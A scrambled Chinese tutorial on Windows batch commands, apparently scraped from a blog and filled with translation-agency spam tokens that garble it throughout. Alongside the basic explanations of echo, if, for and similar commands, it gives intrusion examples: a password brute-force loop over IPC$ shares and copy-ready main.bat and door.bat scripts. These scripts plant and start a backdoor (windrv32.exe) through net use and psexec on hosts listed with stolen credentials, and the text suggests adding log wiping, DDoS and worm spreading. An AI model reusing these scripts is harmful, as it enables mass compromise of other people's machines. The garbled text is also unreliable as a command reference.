▲1. echo 指令
申明:顯示資訊,或將指令回顯開啟或關上。要顯示今朝回顯設定,輸入不帶參數的 echo。
用法:echo [on|off]
echo [message]
例如:
@echo off
echo hello world
備註:可將此指令和重定向符號(也稱管道符號,一般用> >> ^)連系起來實現輸入一些指令到特定檔案中 翻譯社
。-> 翻譯社|,-> 翻譯公司|的-> 翻譯▲5. pause 指令
申明:將程式掛起,按隨意率性鍵後繼續履行。
例 1:pause
顯示:請按隨意率性鍵繼續. . .
例 2:pause >nul
感化:不顯示資訊,有益於用戶自訂資訊 翻譯社
▲8. choice 指令
申明:讓用戶輸入一個字元,從而履行分歧 翻譯指令 翻譯社利用時應當加參數/c:,/c:後為提醒可輸入 翻譯字元,之間無空格。它的返回碼依序為1 翻譯公司 2, 3, 4……
例如:
@echo off
choice /c:dme /m "defrag,mem 翻譯公司end"
rem 應先判定數值最高的返回碼
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errorlevel 1 goto defrag
:defrag
echo defrag
goto end
:mem
echo mem
:end
echo good bye
剖析:此檔案履行後,將顯示「defrag,mem,end [D,M 翻譯公司E]?」,用戶可選擇d,m或e,然後if語句進行判定,d透露表現履行標號為defrag的程式段,m透露表現履行標號為mem的程式段,e透露表現履行標號為end 翻譯程式段。
■一.簡單批處理內部指令簡介
========================
▲4. rem 指令
申明:註解指令,不會被履行,只是起一個註解的作用,便於別人浏覽和自己今後點竄。
用法:rem message
例如:@rem 獲得今朝日期實時間
▲7. start 指令
申明:啟動另外一個視窗履行指定的程式或指令。
例如:start "指令行" /dC:\ cmd
分析:在新視窗中開啟cmd.exe,並以「指令行」為題目,初始目錄為C盤。
用法:for /l %variable in (start,step,end) do command [command-parameters]
說明:以增量情勢從開始到竣事一個數字序列。(list)
例 5:for /l %i in (1,1 翻譯公司5) do @echo %i
感化:產生序列 1 2 3 4 5 翻譯社
例 6:for /l %i in (5,-1 翻譯公司1) do @echo %i
作用:產生序列 5 4 3 2 1。
例 8:for /f "usebackq delims==" %i in (`set`) do @echo %i
作用:列舉今朝環境中 翻譯情況變數名稱。
例10:for /f 「tokens=1,2 翻譯公司3 delims= 」 %%i in (victim.txt) do start call door.bat %%i %%j %%k
分析:主動給大量肉雞種後門和木馬 翻譯社該指令按按次將victim.txt中的內容傳遞給door.bat中的參數%i %j %k 翻譯社
而cultivate.bat不過就是用net use指令來建立ipc$毗連,並copy木馬+後門到victim,然後用返回碼(if errorlever =)來過濾器成功栽培後門 翻譯主機,並echo出來,或echo到指定的檔案。
delims= 暗示vivtim.txt中的內容是一空格來分隔的。所以victim.txt裡的內容應當憑據%%i %%j %%k表示 翻譯對象來擺列,一般就是「IP位址 暗碼 帳號」 翻譯社
批處置懲罰檔案是無格局 翻譯文字檔案,包含一條或多條指令,檔案副檔名為 .bat或 .cmd 翻譯社按兩下該批處置檔案,系統就會挪用cmd.exe,按次並逐一履行檔案中的各個指令,簡化日常或重複性使命 翻譯社
▲6. call 指令
申明:從批處理程式挪用另外一個批處置程式。call 指令答應挪用目的標籤。
用法:call [drive:][path]filename [batch-parameters] [:label [arguments]]
例如:call d:\backdoor.bat
備註:檔案副檔名必需是 .bat 或 .cmd。
透過 tokens= 最多可以指定 26 個符號,for變數最多可以同時使用52個 。
在相鄰字串上可使用 for /f 闡明邏輯;方法是,用單引號將括號之間的 file-set 括起來。如許,該字串會被當作一個檔案中 翻譯一個單一輸入行 翻譯社
最後,您可以用 for /f 指令來闡明指令的輸出 翻譯社方式是,將括號之間的 file-set 變成一個反括字串(Esc鍵下面的按鍵)。該字串會被看成指令行,傳遞到一個子 cmd.exe,其輸出會被抓進記憶體,並被當作檔案闡明。
例 9:for /f %%i in (dict.txt) do net use \\ip\ipc$>D:\ok.txt
闡明:利用for指令來實現對一台方針winnt主機的暴力密碼破解。我們用net use指令測驗考試和目標主機進行連接,當成功時記下暗碼。用%i來默示administrator的暗碼,%i的值在dict.txt中取得,然後將程式運行成績傳遞給find指令,ok.txt中的值即為方針主機 翻譯暗碼。
■媒介 用法:for /f ["options"] %variable in (file-set) do command [command-parameters] 下面我們舉幾個例子來具體說明一下for指令在入侵中 翻譯用處 翻譯社 代碼雛形: ▲9. if 指令 帶指令行開關的 for 指令: 這只是一個主動栽種後門批處置的雛形,兩個批處置懲罰和後門程式(Windrv32.exe,PSexec.exe)需放在統一目次下 翻譯社批處理內容尚可擴充,例如:插足消滅日誌和DDOS 翻譯功能,插足准時新增用戶的功能,更深切一點可使之具備主動流傳功能(蠕蟲)。此處不多做論述,有樂趣的朋侪可自行研究。 ▲3. goto 指令 ▲10. for 指令 用法:for /r [[drive:]path] %variable in (set) do command [command-parameters] ========================= 從這裡最先複製,貯存為door.bat =========================
for /f ["options"] %variable in ("string") do command [command-parameters]
for /f ["options"] %variable in ('command') do command [command-parameters]
申明:file-set為一個或多個檔案名稱。/f 分析每一個檔案的每行,跳過空白行。"options" 環節字:
eol=c - 行註解字元 翻譯結尾(就一個)
skip=n - 在檔案開始時略過的行數 翻譯社
delims=xxx - 分隔符集。庖代空格和跳格鍵的預設分隔符集。
tokens=x,y,m-n - 每行 翻譯哪一個符號被傳遞到每一個迭代的 for 自己。
這會導致額外變數名稱 翻譯分派 翻譯社m-n格式為一個局限 翻譯社
透過 nth 符號指定 mth。如果符號字串中的最後一個字元星號,
那麼額外的變數將在最後一個符號解析以後分派並接受行的保存文字。
usebackq
在作為指令履行一個後引號的字串並且一個單
引號字元為文字字串指令並答應在 filenameset
中使用雙引號擴起檔案名稱。
例 7:for /f "eol=; tokens=2,3* delims= 翻譯公司 " %i in (myfile.txt) do @echo %i %j %k
感化:闡明 myfile.txt 中 翻譯不以分號開頭(eol=;) 翻譯行,將每行按逗號和空格分成幾段(delims=; ),再將每行的第2段、第3段及第3段今後的剩餘段劃分賦值給變數%i、%j、%k 翻譯社對於帶有空格的檔案名稱,需要用雙引號將檔案名稱括起來。
========================= 從這裡最先複製,儲存為main.bat =========================
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
@goto end
:usage
@echo 履行此批處置檔案
:end
========================= 到這裡竣事複製,貯存為main.bat =========================
說明:判定是不是合適劃定的前提,從而決議履行分歧的指令。
用法:if [not] errorlevel number command
if [not] string1==string2 command
if [not] exist filename command
例 1:if errorlevel 2 goto x2
感化:若是返回碼等於2,程式則跳轉到標籤為x2 翻譯行執行。
備註:DOS程式履行時會返回一個數字,即errorlevel,稱為毛病碼或返回碼,常見的返回碼為0、1。
例 2:if 「%1」==」a」 format a:
作用:若是參數為a,則格局化A盤 翻譯社
例 3:if not exist config.sys echo 檔案不存在
作用:假如檔案config.sys不存在,則顯示「檔案不存在」。
申明:跳轉到指定標籤,程式將執行指定標籤下一行入手下手的指令。
用法:goto lable
例如:
if {%1}=={} goto noparms
if {%2}=={}nul
感化:不顯示資訊,有益於用戶自訂資訊 翻譯社
申明:在指定的範圍內輪回履行指令。
備註:在批處理檔案中利用 for 指令時,指定變數請利用 %%variable,而不要用 %variable。
用法:for {%variable|%%variable} in (set) do command [command-parameters]
參數:%variable 變數 翻譯社只能是單一字母,分巨細寫和全局,所以 %i 分歧於 %I。
(set) 一個或一組檔案。可以使用萬用字元。
command 對每一個檔案履行 翻譯指令。
command-parameters 指令行開關。
說明:搜檢以 [drive:]path 為根的目錄樹。假如在 /r 後沒有指定目次,則使用今朝目錄。假如集僅為一個單點(.)字元,則枚舉該目次樹 翻譯社 (root)
例 3:for /r %i in (.) do @echo %i
感化:枚舉今朝目次下的掃數子目錄名路徑。
例 4:for /r %i in (*) do @echo %i
感化:枚舉今朝目錄及子目次下的掃數檔案名稱路徑。
@net use \\%1\ipc$ %3 /user:"%2"
@if errorlevel 1 goto failed
@echo 測驗考試建樹 IPC$ 連接 ………… 成功
@copy windrv32.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ok.txt
@psexec \\%1 c:\windows\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 後門>>ok.txt
:failed
@echo 不克不及連線到此主機
========================= 到這裡竣事複製,貯存為door.bat =========================
▲2. @ 指令
說明:@後面 翻譯指令將不會顯示。
例如:
@echo off
@echo 初始化程式,請稍候…
@format X: /q
用法:for /d %variable in (set) do command [command-parameters]
申明:如果集中包括萬用字元,則指定與目次名核對,而不與檔案名稱查對。(directory)
例 1:for /d %i in (*) do @echo %i
作用:列舉今朝目錄下的子目次名 翻譯社
例 2:for /d %i in (*g*) do @echo %i
作用:列舉目前目次下的子目次名含g 翻譯名稱。
本文來自: http://blog.xuite.net/yupsky/blog/46761634-BAT%EF%BC%9A%E6%89%B9%E8%99%95%E7%90%86%E6%95%99%E5%AD%B8有關翻譯的問題歡迎諮詢天成翻譯社